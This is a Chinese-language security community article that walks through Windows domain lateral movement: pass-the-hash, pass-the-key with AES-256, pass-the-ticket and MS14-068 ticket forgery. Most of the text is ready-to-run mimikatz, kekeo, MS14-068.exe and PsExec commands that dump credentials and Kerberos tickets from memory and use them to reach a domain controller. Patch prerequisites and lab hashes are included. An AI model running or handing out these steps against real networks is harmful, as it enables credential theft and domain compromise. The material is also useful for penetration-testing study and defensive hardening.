sechub官方2026-03-27文章来源:SecHub网络安全社区
传递攻击
利用条件:
被pth攻击的计算机未打补丁(KB2871997)
拿到一台域成员主机并且拿到管理员组的域用户的NTML
对方主机存在相同账号并且是管理员组成员
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken:默认设置为0。如果设置为1,则SID为500的管理员也不能通过网络登录的方式获取高权限。
注:安装 KB2871997 后,普通用户无法使用常规的 Hash 值传递攻击,但 SID 500 (Administrator)账号依然中可以进行 Hash 传递攻击。
# 在目标主机中先获取 NTLM hash 值
mimikatz.exe "privilege::debug" "sekurlsa::msv"
# 提升权限
privilege::debug
# 获取 hash
sekurlsa::msv
# 在远程主机上进行 Hash 传递攻击
mimikatz.exe "privilege::debug" sekurlsa::pth /domian:要攻击的ip /user:目标主机上的用户名 /ntlm: NTLM哈希
mimikatz.exe "privilege::debug" "sekurlsa::pth /domain:test.lab /user:administrator /ntlm:570a9a65db8fba761c1008a51d4c95ab"
# 在弹出 cmd 窗口上,验证是否获取域控最高权限
# 查看域控制器的 C 盘,dc 为域控制器的主机名。
dir \\10.1.1.21\c$
dir \\dc\c$
利用条件:
# 在目标主机中先获取 AES-256 值
mimikatz.exe "privilege::debug" "sekurlsa::ekeys"
# 获取 AES-256
sekurlsa::ekeys
# 在远程主机上进行 AES-256 密钥传递攻击
mimikatz.exe "privilege::debug" "sekurlsa::pth /domain:test.lab /user:administrator /aes256:5e5bd89efaefe26121d8c815391d9681e41cc0c1e1d009eeddb82273e6eca152"
# dir \\dc\c$
# 在目标主机上导出票据
# 导出内存中的 Tickets
.\mimikatz.exe "privilege::debug" "sekurlsa::tickets /export"
# 清除内存中的 Tickets
mimikatz# kerberos::purge
# 在远程主机上将票据文件注入到内存中
.\mimikatz.exe "kerberos::ptt .\`[0;3ae4f`]-2-0-40e10000-Administrator@krbtgt-TEST.LAB.kirbi"
kekeo使用域名,用户名,NTLM Hash 三者配合生成票据,再将票据导入,从而直接连接远程计算机。
# 生成票据
.\kekeo.exe "tgt::ask /domain:test.lab /user:Administrator /ntlm:570a9a65db8fba761c1008a51d4c95ab"
# 清除当前内存中的其他票据,否则可能会导致票据传递失败
#在 kekeo 中
kekeo # kerberos::purge
# 利用系统自带命令
klist.exe purge
# 导入票据
.\kekeo.exe "kerberos::ptt TGT_Administrator@TEST.LAB_krbtgt~test.lab@TEST.LAB.kirbi"
利用条件:
域控没有打MS14-068的补丁(KB3011780)
拿下一台加入域的计算机,并拥有此计算机的域用户密码和Sid
# 获取 SID
# 如果当前用户为域用户
whoami /user
test\test02 S-1-5-21-3884001349-2725517725-626265054-1108
# 本地用户:管理员权限下用 mimikatz 抓取本地的域用户密码,域用户与SID
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
# 利用ms14-068.exe 工具生成伪造的kerberos协议认证证书
MS14-068.exe -u <userName>@<domainName> -p <clearPassword> -s <userSid> -d <domainControlerAddr>
MS14-068.exe -u test02@test.lab -p Admin123 -s S-1-5-21-3884001349-2725517725-626265054-1108 -d 10.1.1.21
# 利用mimikatz.exe将证书写入,从而提升为域管理员
mimikatz.exe "kerberos::ptc TGT_test02@test.lab.ccache"
# 写入成功后,使用PsExec.exe以管理员权限运行连接域控
PsExec64.exe \\dc cmd.exe
PTH在内网渗透中是一种很经典的攻击方式,原理就是我们可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不用提供明文密码。。在Windows系统中,通常会使用NTLM身份认证,NTLM是口令加密后的hash值。PTH是基于smb服务(445端口)。
原理:
在windows系统中,通常会使用NTLM身份认证。
NTLM认证不使用明文口令,而是使用口令加密后的hash值,hash由系统API生成。
hash分为LM hash和NT hash,如果密码长度大于15,那么无法生成LM hash。从windows Vista和windows server 2008开始,微软默认禁用LM hash。
如果攻击者获取了hash,就能够在身份验证的时模拟该用户(这样就跳过API生成hash的过程)。
webserver主机:192.168.3.31
域控主机:192.168.3.21
使用minikatz抓取主机中hash值。

把收集到的hash值作为一个条件,来尝试连接域内其他用户(使用获取hash值去撞域内同hash值的用户主机)。
在使用pth前查看域控主机C盘中的文件,提示操作失败。

接着在minikatz中执行传递pth的命令,命令执行完成后弹出了一个cmd窗口(可以看到连接到了域控用户,这个窗口就相当于建立了一个pth连接,它有访问域控的权限,我们要进行的操作都需要在这个窗口中完成)。
未打补丁下的工作组及域连接命令:
sekurlsa::pth /user:administrator /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:518b98ad4178a53695dc997aa02d455c
sekurlsa::pth /user:boss /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7
\OWA2010CN-God.god.org


再次执行查看域控主机C盘的操作,这次我们就可以看到域控主机的C盘文件了。

执行pth的命令并没有指向固定主机ip,由于是在靶场内事先知道了192.168.3.21是域控主机的ip,在实战中我们就需要通过信息收集域内主机的IP地址和用户主机信息等,通过在弹出的cmd窗口中执行命令时更换我们收集到的ip,看哪个ip有回显我们才能知道连接到了哪台主机。
但是微软对pth打过补丁,然而在测试中发现,在打了补丁后,常规的pth已经无法成功,唯独默认的administrator账号例外,利用这个账号仍可以进行pth远程连接。
如果禁用了NTLM认证,PsExec无法利用获得的NTLM hash进行远程连接,但是使用mimikatz还是可以攻击成功。对于 8.1/2012r20,安装补丁kb2871997的windows 7/2008r2/8/2012等,可以使用aes keys代替NT hash来实现ptk攻击。
所以打了kb2871997补丁会产生两种攻击手段
注:KB2871997禁止本地管理员账户用于远程连接,这样就无法以本地管理员用户的权限执行wmi、psexec、schtasks、at和访问文件共享。
pth:没打补丁的所有用户可以连接,打了补丁只能用administrator用户连接。
ptk:打了补丁才能用户都可以连接,采用aes256连接。
